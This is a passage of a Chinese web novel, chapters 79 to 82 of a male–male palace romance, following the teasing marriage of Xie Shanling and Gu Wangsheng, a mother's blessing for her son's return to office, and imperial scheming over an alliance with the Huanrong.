谢二婶也知道这个道理,拍着她循循善诱:“你能有这觉悟就很好,不求你立刻放下,只是你终要放下,明白吗?” “原本两情相悦,即便身份悬殊,即便你不告而别去寻他,虽然叛逆,终究是情难自控,娘不过多怪你。可如今你为他那样,他却为了权势利益弃你另娶,若你还不能放下他,那就是无可救药的蠢人了。” “女儿明白……” “你能明白就是最好的,人谁无过?但求真心悔改。好好在家休养,总有一日能真正放下的。到时你还是你,家人也都还是家人,过往不堪只是一场噩梦罢了,你还有很长的人生可以重新书写。”她温声道。 谢二婶出了名的快人快语,活泼爽辣,却只是性情如此,在娘家做女儿时她也受过良好教养,如今劝说起疼爱的女儿来,她一改平素急躁,温柔慈爱,头头是道。 谢婉柔蜷缩在母亲的怀中哭着点头。 * 得知婉柔堂妹最终被罚去日日陪祖母诵经礼佛,谢善淩也就松了一口气。 顾望笙却对这种事儿很是敏感,嘀嘀咕咕:“你们家可真有趣,明知小姑娘家家受了情伤,这当头弄去诵经礼佛,可别真看破红尘当尼姑了……” 谢善淩:“行,是我们家,我们谢家不比你们顾家明智,别待我们家。” 眼看得罪了人,顾望笙赶紧道歉卖乖,黏过来道:“我这不也是替咱们堂妹着想嘛,一时嘴快,这你也跟我计较你就太小心……太小心了,太谨慎了,太仔细了,太……” 谢善淩哼的一声甩开他:“别黏我,我太小心眼。” “哎!我可没说,我是说你小心谨慎的这个小心!”顾望笙狡辩道。 谢善淩见他还不老实,冷淡地别过头去,顾望笙黏过来就甩开,黏过来就甩开,拽自己衣角就将衣角从他手中使劲抢出来不让拽。 “哎哎哎……”顾望笙急了,老实了,“好好好是我不好,我说错话了,你打我嘴巴,别不理我啊!” 往日到这儿谢善淩也就不逗他了,可今日谢善淩依旧不理他,坐在那发呆。 顾望笙试探着挨挨他,他倒不再挣扎,一动不动地出神。 顾望笙就宁愿他再甩开自己、说说自己了。 “又不高兴了?”顾望笙环抱住他,将下巴靠在他肩头,将他微凉的手包裹在自己热乎乎的手里,“大夫说你气血不足,总是手脚凉,如今闲来无事,我教你一点拳脚功夫强身健体好不好?” 谢善淩回过神来:“你怎么会闲来无事?如今顾裕骐封为楚王,勾结豲戎要对义军动手……” 顾望笙笑道:“从豲戎开拔到义军之地,还要途经大梁其他国土,够他们吵翻天的了。我们也不会坐看他们一家亲,只要豲戎敢行军来,途中自然会出很多‘意外’。” “不要太自信,他们自然也会想对策,还是谨慎为好。”谢善淩虽也想得到他说的这些,可一人自信时另一人就得适度地泼泼冷水,以免自满轻敌招致失败。 顾望笙又开始皮:“嗯,为夫都听贤妻的。” 谢善淩沉默。 “又不理我。”顾望笙嘀咕。 谢善淩再次回过神来,讪讪道:“抱歉,我……” 顾望笙打断他的话:“没事,逗你的。” 谢善淩闷闷地点头,诚心地又说一遍:“抱歉。” 顾望笙反而不乐意了:“你再这样生分我可真生气了啊。” 可当谢善淩听了这话只是轻轻叹了声气,顾望笙立刻就服软:“不生气不生气,我刚吓唬你的,你怎么我都不生气!” 谢善淩终于忍俊不禁,噗嗤一下笑了起来。见他笑,顾望笙也笑了。可算把人逗好了。 谢善淩焉能不知他的好意,起身很快又坐下,面朝着他将头靠在他肩上,在他耳边小声说:“谢谢夫君。” 顾望笙本能地嘴角就勾了起来,还得强压一压,好显得自己不那么的没出息。 可谢善淩偏要拆台,故作无辜地问:“夫君你的耳朵好红。” 夫君赶紧满地找面子:“你凑我耳朵这么近说话,被你呼气呼的!” “什么呼气?”谢善淩朝他耳朵轻轻呼两口气,问,“是这样吗?” “你……” “夫君,红到脖子根了。”谢善淩实时汇报。 “……大白天的,还是在你家,你别闹。”夫君艰难地说着,动了动。 谢善淩哼了一声。 顾望笙汗都要出来了,搂紧了谢善淩,将头埋在他脖颈间深呼吸:“咱们刚回来,这么多事儿,一会儿说不定谁又要叫咱们过去,你别逗我,我禁不起你逗。” 话才刚说出口,耳垂一烫,轻微刺痛,是被咬住了。 顾望笙绝望道:“谢善淩,你自己想好了,你就这一个夫君,玩坏了也就没了!” 谢善淩慢条斯理继续咬,忙中抽空反将回来:“三条腿的蛤虫莫不好找,三条腿的夫君很好找的。远了不说……” “近的也不准说!”这夫纲简直被踩在脚下了,顾望笙怒道,“我看你敢!” 谢思玄可不受威胁:“那你就看我敢不敢。” “……别啊!”这谢善淩可太敢了,顾望笙立刻顾不上夫纲不夫纲,哼哼唧唧道,“不要说这种话,多伤我的心,就算你不怕伤我的心,你小未婚夫可受不起这打击,你心疼他也是一样的……快收回去!” 谢善淩摸摸他,问:“若我收回去,你能收回去吗?” 顾望笙头皮发麻,气息乱得不成样子,正措辞,谢善淩又开口了,声音软和得似乎能拧出水来,有一下没一下地往他心尖上磨,磨得他浑身发颤。 “好久没行周公之礼了。”谢善淩说。 “……你、你身子好些再说。”顾望笙只能将他搂抱得更紧,让他不要再顽皮,细碎地亲吻他的脸颊脖颈来安抚他也安抚自己,间隙说道,“那事损元气……” 谢善淩:“没事,只有你损元气,我是受补的。” 顾望笙声音都抖了:“你真别说了……我就说了一句‘你们家’,你非得这么记仇吗……” “你这人未免太不解风情,说到哪里去了。”谢善淩抬起手来,用指尖勾了勾他的下巴,描摹其他的轮廓五官,最后指尖来到鼻下,笑道,“闻闻。” 顾望笙张嘴就咬住。但是不疼。 谢善淩直了直腰,比他高一点,低头看着他,说:“小狗才不会闻完手指就咬。” 顾望笙抬眼直勾勾地看着他,好像饿了三天的狗盯着一份热气四溢的香排骨,堪称穷凶极恶。“这说明我不是小狗。”他的声音低沉。 “可是我喜欢小狗。”谢善淩说着,不轻不重地用指尖戳他鼻尖。 顾望笙稍稍抬了抬下巴,又咬住了这根到处作乱的手指。 “小狗会长大……长成大狼狗。”他含糊说着,再忍不住,猛地起身将人抱着便仰头与低下头来的谢善淩唇舌交战。 一面深吻,顾望笙一面朝床榻走去,可刚走没两步就听到外头传来谢聪的声音:“少爷,郡主院子来了人请您过去聊聊话。” 谢善淩睁开眼睛,推开顾望笙,双脚落了地。 顾望笙刚被他勾引得晕头转向连自己叫什么都不记得了,这一下子还没反应过来,愣愣地松开手,看着谢善淩整整衣服就要朝门口走,猛然反应过来,一把拉住他:“喂!你干嘛去?” 谢善淩回头看他,一脸纯良:“没听见吗?我娘叫我过去。” “你娘……你……我……你……”顾望笙要疯了,“你就这么过去?!” “不然呢?”谢善淩反问。 “不然你……我……()&%¥&……”顾望笙急得都不知道自己在说什么,见谢善淩转身又要走,死死拖住不让,“你等会儿再去不行啊?!” 谢善淩掰他手:“我娘叫我,我肯定要立刻过去,这么久没见了……” “中午不还一起吃的饭吗?!”顾望笙发出绝望的拷问,“我就一时嘴快说了一句‘你们家’而已,需要这么恨我吗?!” 谢善淩道:“我可没你这小肚鸡肠,快松手,我要去见我母亲,不然一会儿她问起来我可就直说是你拦着不让啊。” 顾望笙气急反笑,连连点头:“好好好你直说……”话音未落猛地出手将谢善淩拦腰抱起,却是先抱去门口,隔着门朝外头等着的谢聪说,“回禀郡主,你少爷午睡还没醒,等他醒了我送他过去。” 谢善淩使劲儿打他几下,却没挣扎。 谢聪应了一声,转身去传话了。 听着院中脚步跑远,谢善淩冷笑道:“土匪劲儿又犯了是吗?” 顾望笙看着他也冷笑:“狗劲儿犯了。” 谢善淩被他抱着朝里走,手抱住他脖子,嘴上还得争个输赢:“虚伪,这就不怕我损元气了。” “你说的,只有我损元气,你是受补的。”顾望笙冷酷又贴心,“那你就多补补。” 第80章 ◎你逗我,我也逗你呢,怎么还逗急眼了呢?◎ 佘郡主早就注意到了儿子嘴角的伤痕。中午吃饭还没有, 这才俩时辰不到,也没去别处…… 她想问,可终究也是经过人事儿的长辈,就怕万一是自己想到的原因, 那问出来可太尴尬了。 最终她只能委婉劝说:“南边是比京城湿润, 你一回来就上火, 一会儿熬点药吃……给大殿下也吃点。你身子不好,最近遭遇了那些事, 又瘦了许多,千万注意保养, 不要以为年轻就能胡乱糟蹋。” 谢善淩在心里谋划着如何报复顾望笙,面上镇定自若, 微笑着道:“多谢母亲关怀,我是刚喝水磕着杯子了,不过大殿下确实有些上火, 我会多给他熬点砒霜吃。” 佘郡主点头:“嗯……嗯?” 谢善淩一脸无辜。 “熬什么?”佘郡主不确定地问。 谢善淩:“黄连炖鸡。” 果然是听错了,就说怎么能是那个可怕的东西。亲都成这么久了,就算年轻人没轻重把嘴亲破了也罪不至此。佘郡主猜测:“你是想说黄芪炖□□?” 这孩子, 去了一趟南边, 口音都被带跑了。 谢善淩却一脸笃定:“不,就是黄连炖鸡,降火。” “第一次听说这道药膳。能吃吗?”佘郡主开始怀疑不是口音偏差,而是儿子又要捉弄可怜的儿婿。 谢善淩正要笑,牵动嘴角的伤口,略略抽了抽, 含着一些恨道:“无妨, 反正又不是我吃。” “别总是欺负人家。”佘郡主无奈, 只能帮儿婿到这了。 谢善淩轻轻地哼了一声,岔开话头,问候起这段时日家中诸人事务。 佘郡主一一说起,说家里没别的事儿,就是一开始继续忙着找谢婉柔,后来接到谢善淩的传信说有了婉柔下落,略略放了一点心,然则转瞬又说谢善淩被匪军掳去了,又是一通人仰马翻。 “让你们担心了。”谢善淩愧疚道。 佘郡主摇摇头,细问谢善淩南下后的种种。 听他说得轻松,她没戳破,只是抚着心口道:“平安就好。得知那边乱了,差点把我和你祖母、一众伯母婶婶,你的姊妹们吓坏,都在说当时真不该让你去的。” 谢善淩却摇头道:“可我觉得此行不亏。” 佘郡主正要劝说,谢善淩先道:“母亲,我想再入朝为官。” 她一怔,险些忘了自己刚要说什么。 半晌,她面露疑惑之色,不明白他怎么突然…… 谢善淩自然不能完全照实说,只能虚实混合。 “此次南下我一路见到了许多人和事,大殿下也劝慰我许多,我想起以前自己立下的为国为民的志向,着实不该为了一朝的失望与挫折而放弃。” 他垂眸道,“何况泊润冤死,我必要继承他未尽之壮酬,以慰他在天之灵,全我与他的一番情义。” 对不起,江泊润。 佘郡主听完良久沉默。她甚至起身朝门口走去,停在那里,背对着谢善淩,站了很久很久。 谢善淩也站起来,看着母亲孤独的背影。 “母亲,”他轻声道,“前路艰险,但我仍想一试。” 又过了一阵,她长叹一声气,回过身来看他,笑了起来:“好。母亲等这一天已经很久了。” 谢善淩忍不住眼中酸楚,快步小跑到她面前,跪地叩道:“儿子不孝,又要让母亲担心了。” 佘郡主扶他起身,眼中亦是晶莹闪烁,却是笑着的。 “俗话说,养儿一百岁,长忧九十九。为人父母又有哪一天是能不担心孩子的?无所谓了。”她温柔道。 谢善淩含泪看她一阵,忍不住投入她怀中唤道:“母亲……” 佘郡主拍拍他背,嗔道:“多大了,还跟孩子似的撒娇?叫人看见了得笑话你。” 谢善淩继续撒娇:“在母亲面前,我永远都是小孩子。” 佘郡主好笑道:“你啊,有心哄人的时候是真会哄!”停了下,道,“去祠堂给你父亲上柱香,告诉他这件事。” 谢善淩乖巧地点头。 * 顾望笙老实巴交地等在岳母院外接他爱妻,却见岳母一同出来了,急忙迎上去问好。 岳母倒是和颜悦色,爱妻依旧不搭理他。不过没关系,他可以死皮赖脸。 死皮赖脸地跟着去给岳父上完香,死皮赖脸地回到岳母的院堂陪聊许久,死皮赖脸地吃完晚饭又聊了会儿回到屋里,只剩下两个人,他爱妻仍然待他冷若冰霜。 “你这人……”顾望笙赖不下去了,小发雷霆道,“我都不知主动为你多少回了,就求你一回,你别扭一下午!你自己说说这像话吗?” 这话也不是完全不在理。谢善淩想了又想,悻悻然看他一眼,找补道:“你才不像话,我嘴巴都破皮了你也不关心我。” 顾望笙见他服软,越发顺杆子爬:“我哪儿不关心你了?我当时就一直道歉嘘寒问暖,就差把我自己嘴巴撕烂赔你了,要不你现在就撕,给你撕,你撕,快撕。” 一边嚷嚷一边把嘴巴往他脸前凑。 谢善淩用手捂住他的嘴:“不要撒泼。” 顾望笙一听这重话可不得了,越发撒泼,嘴撅起来使劲儿朝他手心里怼,野猪似的蛮横。 谢善淩推打他好多下他都仍旧不依不饶的。 谢善淩没办法了,只好连连退让:“好了好了,我不生你气了!” 顾望笙冷笑:“你弄清楚!现在是我生你的气!” 谢善淩蹙眉:“所以你要继续和我生气是吗?” 顾望笙反问:“是的话你待如何?” 谢善淩面无表情地静静看他一会儿,忽然低头双手捂住脸,闷声道:“那你就不要理我好了。” “……” 顾望笙始料不及,一时之间被他给可爱懵了,好一阵才回过神来,忙去扒拉他的手,柔声软语道:“哪舍得不理你,你逗我,我也逗你呢,怎么还逗急眼了呢?” 其实扒拉两下已经看到谢善淩狡黠翘起来的嘴角了,但顾望笙这会儿哪敢拆穿?就怕这人继续急眼。唉,谢善淩有的时候可太要强了。 顾望笙只能继续夹着嗓子好话哄尽,却也确实是哄得自己心甘情愿,哄得自己心里美滋滋。试想,别人想哄还轮不上号呢!谢善淩也不是谁都让哄的! 终于谢善淩被顺毛捋好了,放下手,别开脸,闹够了还是要小声解释一下:“其实,我不是故意不理你,也不是生气……” 顾望笙瞧着这白里透红的脸蛋儿,笑他道:“我知道,你害臊了。” 谢善淩没有否认,只是悄悄地脸更烫了。 顾望笙忙将他抱入怀中亲亲他的脸,甜蜜道:“你害臊的样子也这么可爱。” 转而悔改起来:“你不喜欢,今后不逼你了,看你破了嘴角我也心疼,当时我是昏了头……” 他这样,谢善淩也再闹不起来,归根结蒂也是自己先故意耍他的。便道:“好了,不要再说这件事了。” “好好好,不说了。我去打水来,你洗漱完,我再给你嘴角涂点药。”顾望笙道。 谢善淩点头,却又有了坏心思,说:“我要你背着我去打水。” 顾望笙一听莫名其妙给自己发奖励,生怕他反悔,忙不迭应好,又道:“你若是愿意,我巴不得天天背着你,去哪儿都背着你。” 那谢善淩可太不愿意了,也就趁着现在天黑,早让谢聪回去歇了,才有此一说,否则别人看见了那多那什么。 “废话少说,你快点背吧!”谢善淩道。 顾望笙稳稳背着清瘦的谢善淩,对行动丝毫没有影响。 这会儿夜深,厨房没人,熄了火,水已经很温了。 谢善淩本就手脚冰,还是用热一点的水给他泡泡脚活络筋骨好,否则也怕着凉。这么一想,顾望笙立刻生火重新烧。 烧水需要等一阵,顾望笙继续背着人,站着等。 等待的空隙里,谢善淩盯着这人的侧脸看了又看,越看越喜欢,凑过去亲一下,又亲一下,再亲一下,使劲儿亲。 顾望笙被亲得嘴角根本压不下来,却还要装一装,懒洋洋拖长尾音:“干什么啊这是……伤疤还没好呢就忘疼是吗?” 谢善淩不语,只一味继续亲亲。 “唉你就是……” 话说到一半,顾望笙突然停住,转身看向门口,与站那的谢善丰四目相对。 谢善淩:“……” 谢善丰:“……” 谢善淩急忙从背上下来,轻咳两声,装作无事发生,问:“这么晚了你来厨房干什么?” 谢善丰应激道:“你多霸道啊谢善淩,这厨房离我院子还近些呢!” “又没说不让你来,就随口问问,你这么激动干什么?”谢善淩问。 谢善丰更激动了:“早知道我还不如不来呢!” 天哪!看到了什么!真想戳瞎自己的眼睛!亲娘啊!谢善淩刚刚在干什么!太肉麻了太肉麻了啊啊啊啊啊!那是谢善淩吗?!也、也不见和四皇子一起的那阵子这样过…… 他表情藏不住什么,若是别的兄弟还好,偏偏是自小的“冤家对头”,谢善淩就有点儿恼羞成怒,先发制人道:“别这样子,你都当爹的人了,装得多纯一样。” 我和我夫人可没跟你俩这么肉麻!谢善丰不忍直视,紧闭眼睛别开脸:“你……你注意点吧谢善淩!叫人看见了多笑话呢!” “谁跟你似的大半夜来厨房?你到底要干嘛?”谢善淩问。 “今夜值班!刚回来!饿了!来看看有没有吃的!”谢善丰说着,转身朝外走,“不吃了!饱了!” 顾望笙见缝插针地热情招呼:“剩饭没了,我给你煮碗面吃不吃?” 这我哪敢吃!谢善丰回头敷衍地摆手:“不敢不敢,不敢劳动大殿下,太晚了,我去歇了,不用送……”语无伦次着扭头加快脚步离开。 “不麻烦。哎!善丰堂弟!不麻烦,我们也一起吃点儿。”顾望笙朝他背影叫道,肉眼可见谢善丰走得更快了。 “嗐……”顾望笙回头看向谢善淩,“咱堂弟都当爹的人了,还这么拘谨呢。他走了,来,我继续背你。” 谢善淩攀回去让他继续背,只是这回不好意思再亲了。 作者有话要说: 那来懂谢善丰。CP被拆是挺不好受的。 80-90 第81章 ◎儿臣苦思冥想了好久才想出这个法子,还以为父皇会夸呢……◎ 皇帝每每想起被匪军讹去的那么多财物就肉疼, 再想想更是丢了两座城,将老三这废物生吞了的心都有! 明眼人都知道,看似老大和老三俩废物打包,实则还是老三闯的祸。 老大好歹有自知之明, 干不了事儿他索性不干, 这也行吧。老三就不一样了, 干不了他还要干,然后干出大篓子。 当然了, 老四也不是个东西。 他手底下的人在浔阳和孙瑛扯皮,鬼知道动了多少手脚, 还间接导致了老大被匪军逮去,让匪军多赚一笔。 总而言之, 都不让人省心! 相比下来,长成的儿子们里竟还是老二最叫人省心。阴是阴郁了点,勉强好听些也能说是文静吧……唉, 怎么就是个天阉呢。 想到当年爱妃猪油蒙了心干的蠢事,皇帝临幸完她后,忍不住叹气说了她几句。 菅贵妃一听就不乐意了。 可碍于最近那个怪物正得圣心, 而且宝贝小儿子先前闯了一堆祸惹皇帝还气着, 她只好暂且委曲求全,应和几句糊弄过去。 然而将皇帝哄得差不多了,菅贵妃左思右想,还是不甘心,忽的抽噎起来。 皇帝问她怎么了,她抹着泪道:“这些年来骐儿是如何冷淡不亲人, 陛下也知道的。实在不是臣妾偏心, 儿子不亲娘, 哪有娘拉下脸去哄他的?也就越发生疏。陛下从前和他不也是如此吗?” 这话说得太虚伪了,可皇帝不得不点头附和。毕竟自己以前和爱妃对待顾裕骐的态度差不了多少。 菅贵妃继续抹泪。 “如今他死而复生,臣妾大喜过望,再顾不上那些,想好好与他修复母子之情,却不料他如今不止冷淡,根本是不将臣妾放在眼里!他仗着陛下的宠爱,就连臣妾几番召他入宫关怀他都不来!” 这是真事儿。 顾裕骐返京那会儿,正赶上她爱子顾裕珩被匪军抓去,她赶紧叫顾裕骐来商议如何救弟弟,这逆子却不像从前那样召之即来,先是推说忙,后来索性理由都懒得找,直接不来。 就连他和潘家结亲的事,她都是后来从皇帝那听到的! 皇帝一听,不由得皱眉:“这就是他的不是了,你到底是他母妃。” “就是呢。”菅贵妃趴在他怀中哭得越发可怜,“臣妾十月怀胎生下来的肉,他竟一点也不顾念生养之恩……” “也不用说得这么严重。骐儿最近事多,老大和老三都不顶用,老四朕也暂时不想搭理,许多事只能交给骐儿。”皇帝安抚道,“改日朕跟他说一声,让他忙里也要抽空给他母亲问安。” * 在皇帝的要求下,顾裕骐应付地重踏长春宫。 菅贵妃还如往常一般摆谱,和顾裕珩继续坐在桌旁用膳,顾裕骐进来,她眼皮子都不往他那边抬一下,只慈爱地关怀顾裕珩吃这吃那。 若是以往,顾裕骐会一直静立在旁,站到她和自己说话。若那日她只是纯粹刁难,一直不搭理自己,便站到她离去后他再走,也不敢有所怨言。 甚至偶尔,即便已经这么多年了,他仍在心底深处有那么一丝隐秘而可笑的软弱与渴求。 可今时不同往日。顾裕骐冷眼看那母子二人天伦之乐,除了憎厌和不耐烦,不再多一丝一毫的波澜。 他没有听他们说几句话便开口道:“我已来过,对父皇有所交代。若贵妃其实并没有事,我就先行告辞了。” 说完他转身就要走。 菅贵妃哪受过他这无理态度,当即眉心一跳,将手中瓷匙朝他背影狠狠掷去。 仍没从阴影中走出来的顾裕珩吓得差点往桌下滑去,好在及时反应过来,勉强稳住,却还是许久心悸。 菅贵妃正在气头上,没注意到小儿子的异样,只顾着站起身尖声骂道:“顾裕骐你翅膀硬了是吗?给本宫站住!” 顾裕骐停下脚步,回过身看她。 她还以为他是怕了,冷哼一声,挖苦道:“别以为你撞了大运,和豲戎结了个盟,趁着别人都不在捡漏封了个区区楚王,你就了不得了!自己的身子你自己清楚,陛下就算封条公狗做太子,这位子也轮不到你一个没用的天阉来坐!” 顾裕骐的神色越发阴沉,顾裕珩都有些怕了,眼珠子转了转,悄悄在桌下拉拉母妃的衣角。 菅贵妃却更恨顾裕骐,指着他鼻子道:“若非你不争气,何至于让你弟弟去南边收拾你留下的烂摊子?何至于让他被匪军抓去,折磨成如今这样子?” 顾裕骐冰冷的视线扫过目光闪烁的顾裕珩,忽的笑了,但没有一丝一毫的笑意抵达眼底。他的眼睛像一个无底洞,黑黢黢的,没有活人的气息。 “当日我在黔阳遭遇的一切,难道不正是拜顾裕珩所赐吗?”他一字一顿地问。 顾裕珩不敢看他,嘴上有气无力地狡辩:“你胡说什么……别胡说……我什么都不知道……” 顾裕骐的目光回到女人的脸上,接着说:“我是天阉,又是拜谁所赐?” 菅贵妃一怔,旋即心虚起来,却还是撑着道:“当然是你自己不争气……” 他打断她的话:“二十数几年,自我有记忆起,你总在怨我当年害你。可究竟是我害了你,还是你的愚蠢害了我?” 菅贵妃脑子里轰隆隆直响,脚下有些发软,强撑着问:“谁跟你胡说八道了什么?”总不可能是皇帝吧! “转胎丸。” “……” 他只说了那三个字,她便确定他已知道了一切,瞳仁猛缩,急忙扶着桌子坐下,藏在袖间的手指止不住地微微颤抖。 他看着她和顾裕珩,如同看着两具陌生的尸体一般冷然。 “不要来碍我的事,别让我想起你俩。” 说完他转身离开,一步都不再停留。 * 原本皇帝懒得见不成器的大儿子,可这狗皮药膏苦苦求见,他烦了,让人带进来,骂骂他在浔阳时的不作为,也就罢了。 谁料这厮惯会顺杆子爬,见他没大发雷霆,邀功似的说:“父皇,儿臣深切反省了自己的无能,痛定思痛,苦劝谢善淩出仕成功啦!儿臣无能,可他大大的有能啊!” “……你说什么??”皇帝不可置信地看着他。 顾望笙一脸理所当然地又说了一遍。 皇帝深深呼吸,却根本压不下这股无名火起,抓起案头东西朝他砸去:“顾裕帧你这个废物!你这个……你这个……说的什么屁话!” 顾望笙却疑惑:“怎么了?” 还怎么了?!皇帝又抓东西朝他砸:“你脑子究竟怎么长的?你母后和朕没一个是你这猪脑子!” 顾望笙挨着砸,委屈起来,蹲地上抹泪:“儿臣究竟哪里说错了?儿臣理应为父皇分忧,可自知无能,怕反而添乱……谢善淩是儿臣的媳妇,就是您的儿媳妇,自家人代儿臣为父皇分忧不是很好吗?儿臣苦思冥想了好久才想出这个法子,还以为父皇会夸呢……” “朕夸你祖宗!” 皇帝骂完,想起不能这么骂,好在此刻屋内没有别人,忙咳嗽两声掩饰,然后道:“谢善淩……你让他来做事,那还不如让你这废物做呢,还不如让你三弟那个成事不足败事有余的大废物做呢!” “你们顶多是做不成事,最多赔点钱,谢善淩能把朕的京城一把火烧了!” 顾望笙不悦:“父皇这是对他有偏见。当年那事父皇明明也知道是潘家构陷……” 皇帝冷笑:“潘家构陷又如何?不是谢善淩先死咬人家不放?好了别说了,滚出去!” 顾望笙不肯走:“可是……” “可是什么?” “可是二弟都封楚王了……”顾望笙嘀嘀咕咕,“儿臣……儿臣……” 皇帝听明白了,顿时有些无言。 片刻后,他白这废物一眼:“还想封王?朕这回没惩戒你不错了,纯属看在你母后的面子上!” 顾望笙趴在地上又开始哭:“母后……儿臣自幼流落民间,自然比不上兄弟们有才能,却也不是儿臣自己想的……眼见二弟都封王了,儿臣说出去也没脸……母后若知道了,也得为儿臣哭泣吧……” “你母后若在天有灵见着你这样子,那确实是得哭!”皇帝没好气道。 顾望笙哭得更大声了。 许久,皇帝反复深呼吸,冷静下来。 “其实你说的也不是毫无可行之处……那个谢善淩不发疯不惹祸的时候,确实也是有几分才干。比你和顾裕珩强多了。” 想了想,又很迟疑:“可他就是爱发疯惹祸。” 前不久谢善淩一回京城就大闹了老二的迎亲,在京城传得沸沸扬扬,皇帝自然知道。 这有损皇家颜面,潘家也来告状,皇帝本要发怒,老二说无非谢善淩还是为了和潘家那点旧仇新恨,倒不是冲着自己来的,因而他主张就此算了,多一事不如少一事。 可若往深了看,皇帝有点怀疑明明看起来就不像是宽宏大量的人的老二如此宽宏大量,是为了拉拢谢家的人心。 如今老二办事得力,又因和豲戎的关系还由老二牵着,他面上极其宠爱,冷落老四。然而不能失了分寸。 老二这天阉以往一副清心寡欲的样子,现在急吼吼和潘家那名声算不上好的无才无德、貌也相当一般、压根就找不到优点的闺女结亲,狼子野心昭然若揭。 不久后豲戎使团就会抵达京城磋商联合剿匪一事,此事一成,老二的声望必然大盛。 再者说…… 若非匪军实在可恶而朝廷军又着实无能,他又何尝不知道与豲戎结盟便是引狼入室、与狼共舞? 只是如今别无选择!宁可冒险一试,也不可让那些底层的贱民如意! 谢善淩痛恨豲戎之心毋庸置疑,双方之间有血仇,豲戎也绝不会原谅他。 而且谢善淩和陈贤直那帮子清流文人关系好,也自然是扶持自己的夫君顾裕帧,对促成梁戎结盟的顾裕骐肯定恨之入骨。 岂不是绝佳的制衡老二的利器? 原本他还没想起来,如今顾裕帧这么一闹,将谢善淩闹回了他的眼前,他想来想去,越发觉得可行,看向地上那个窝囊废,笑骂道:“你啊,还真是歪打正着了!” 窝囊废抬头茫然地看他:“什么?” 皇帝顿时笑不出来了,皱起眉头嫌弃道:“把头低下去!看你这愚蠢的脸朕就来气……把谢善淩叫进宫来,朕和他谈谈。” 不忘卖个人情:“若不是看在你是朕和你母后唯一嫡子的份上,朕是万万不会再起用他的!可怜天下父母心啊……你给朕争气点!” 顾望笙急忙唯唯诺诺地应好,须臾,悄然抬头去看他。 皇帝正细细思忖着自己的绝世妙计:利用老二抑制老四,再利用谢善淩扶持老大牵制老二…… 越想越得意起来,心中在谋划什么在他的脸上一览无遗。 他却对顾望笙心中的谋划一无所知。 作者有话要说: 顾望笙:老不死的记住了,是你让老子争气的[摊手] 谢善淩:重返职场整顿职场掀翻职场把公司整倒闭,傻x老板值得[摊手] 第82章 ◎谢善淩如今和秦青狼狈为奸,不过是要乱他心神◎ 谢善淩重返官场, 引起了一阵小小波澜。 人精扎堆的地方,很快就对于此事有了诸多解读。 皇帝允许身为大皇子妃的他再度为官,想来是为干啥啥不成的大皇子充门面;而谢善淩则就…… 在这个微妙的时机,很难不认为他是冲着豲戎来的。 “圣上怎么也敢让他来, 不怕他发作起来将两国结盟的事搅和了吗?” 当日他敢火烧官服, 来日火烧豲戎使团对他来说不就是顺手的事儿?官印他都敢砸, 砸豲戎人脑袋是不是更容易??? “圣上自有考虑……”这话说得无甚底气。圣上这些年越考虑越糟糕,有时候真想他别考虑了可能还好一些, 可这话又如何好说。 不过皇帝确实也还是考虑到了这事儿。 他向谢善淩恩威并施地说了一通,然后语重心长道:“我知你仇恨豲戎, 这很好,可你要看清局势分清主次, 如今大梁的心头大患当务之急是那些匪徒而非豲戎。我们今日不过是利用豲戎罢了,朕相信你不是不顾大局之人。至于匪军之祸消弭之后……” 他给谢善淩一个意味深长的眼神。 谢善淩沉稳道:“臣明白。” 皇帝细细看他一阵。他今日面圣一直情绪稳定,对答入流, 和当年殿试时别无二样。 “听裕帧说你的病大好了,自个儿想开了?”皇帝语气缓和下来问道。 谢善淩听闻此言,原本稳重的神色竟露出几分羞涩来, 不太自然地抿了抿唇, 小儿女情态似的,片刻才答话:“大殿下一直在为我的病操心,开解我许多。” 啧啧。皇帝看他这样子觉得颇为惊奇!以往就看老大在那发癫发痴了,还以为是剃头担子一头热,谁料谢善淩这…… 但惊奇之外,皇帝又有些欣慰与好奇。 “你和裕帧的感情倒还挺好。起初听说你们挺闹腾的。”皇帝道。 谢善淩越发显露出难得一见的腼腆, 低声道:“大殿下以诚待人, 臣自然也当回以真情。” 皇帝认同地点头:“不错, 老大虽然才干不足,胜在一个诚字,有情有义,不弄虚作假。但生在天家,这优点就怕成了他的致命缺点,因而朕属意你来有所成就保护他。” 倒还真像是一副慈父心肠。 “臣必然时刻谨记陛下之恩,与大殿下同心同德。”谢善淩乖顺道。 “好好好。你是好孩子,当初潘家的事朕也是有许多不得已的苦衷……都过去了。”皇帝亲切道,“私下里你就随裕帧,也叫朕父皇,称儿臣吧。” 谢善淩一副感动涕零的模样应下,当场在皇帝期待的眼神中叫了几声,回家后恶心到大半夜。 * 皇帝也是敢想敢做,将谢善淩安排到了礼部,而礼部有一件极其重要的事要做,就是接待即将到来的豲戎使团。 礼部尚书:“……” 人生在世,有时想想这官不做也罢,反正也贪够十代挥霍的了……不行,第十一代的子孙怎么办? “上官不必为此担忧过甚,安排他去做别的事,调远点也就好了。”侍郎宽慰道。 倒也是。礼部尚书点头。 于是他亲自请来谢善淩,谨慎地、亲切地向他安排别的差事。 原本他还很担心谢善淩会刁难他,闹着非要去和豲戎铆上,却不料,谢善淩一副踏踏实实的样子,客气地接受了,一句多余的话都没说。 礼部尚书在惊讶之中自然是高兴的,但他没高兴太久,麻烦事儿终究来了。 谢善淩还在呢,楚王就不请自来了。 楚王来就来了,身后还跟着楚王的大舅子潘成栋。 礼部尚书两眼一抹黑。 仇人见面分外眼红,主要是潘成栋眼红。他当即就要出言嘲讽这人怎么又夹着尾巴回来做官了?还是借着自己的丈夫的势…… 话还没出口,顾裕骐就知道他的德行,一个警告的眼神瞥过来,潘成栋阴阳怪气地冷笑一声,到底没开口。 礼部尚书竭力维持神智向楚王问过安,强撑一口气,试探着朝谢善淩建议:“不如你先……” “不必。”顾裕骐打断他的话,道,“当面说吧。” 楚王这么说,那一会儿万一打起来,可就不关我的事了。尚书如此一盘算,心中稍定,笑着点头:“全凭殿下意思。” 顾裕骐道:“不日豲戎使团就要到来,此番招待礼部劳心了。小潘大人颇通豲戎之语,且具应对之才,正是历练之时。本王非要干预礼部事务,只是举贤不避亲,特此一提,望尚书大人肯提携一二。” 这话说得客气,但人都来这儿了,正所谓来者不善,尚书知道没有拒绝的余地,正要应下,旁边的活爹突的开口说了几句……豲戎话。 尚书:“……”完了。 活爹又说了几句豲戎话。尚书依旧沉默。 潘成栋阴恻恻看他:“你在骂我。” “并不是。”谢善淩道,“养不教父之过,我在骂你爹娘。” 潘成栋怒道:“谢善淩你不要太过分!” “不是颇通豲戎之语吗?”谢善淩问。 潘成栋正要开口,顾裕骐打断道:“谢善淩,得饶人处且饶人。” 